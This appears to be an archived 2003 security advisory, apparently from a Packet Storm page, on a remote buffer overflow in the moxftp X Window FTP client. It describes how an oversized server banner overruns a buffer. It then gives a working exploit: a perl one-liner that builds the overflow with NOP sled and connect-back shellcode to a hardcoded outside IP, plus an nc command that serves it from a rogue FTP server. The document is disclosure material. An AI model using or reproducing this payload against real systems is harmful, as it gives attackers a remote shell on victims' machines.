what you don't know can hurt you

moxftp.txt

moxftp.txt
Posted Feb 24, 2003
Authored by Knud Erik Hojgaard | Site kokanins.homepage.dk

Moxftp v2.2 and below contains buffer overflow vulnerabilities which allow remote code execution. Includes exploit code which sends a shell.

tags | exploit, remote, overflow, shell, vulnerability, code execution
SHA-256 | 54be2adad039f538737f860941fe34b2b93d3ad224244b1cd758a91759d8f841

moxftp.txt

Change Mirror Download
I. BACKGROUND

According to the vendor moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp

II. DESCRIPTION

Insufficient bounds checking leads to execution of arbitrary code.

III. ANALYSIS

Upon parsing the '220 welcome to server' ftp banner a buffer can be
overrun, allowing us to execute our arbitrary code. The buffer may be
constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing
the nops and shellcode in the buffer before ebp seems to cause some
problems, luckily there's plenty of space after eip.

Example run:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file
# nc -l -p 21 < file

This sets up a rogue server which will overflow the buffer, and execute
the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000,
replace "\xd9\x9d\x02\x24" with a suitable ip for testing.

IV. DETECTION

moxftp-2.2 shipping with the FreeBSD ports system as well as from
various webpages per 9/2-03 is vulnerable.

V. WORKAROUND

unknown

VI. VENDOR FIX

unknown

VII. CVE INFORMATION

unknown

VIII. DISCLOSURE TIMELINE

unknown

IX. CREDIT

Knud Erik Højgaard

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close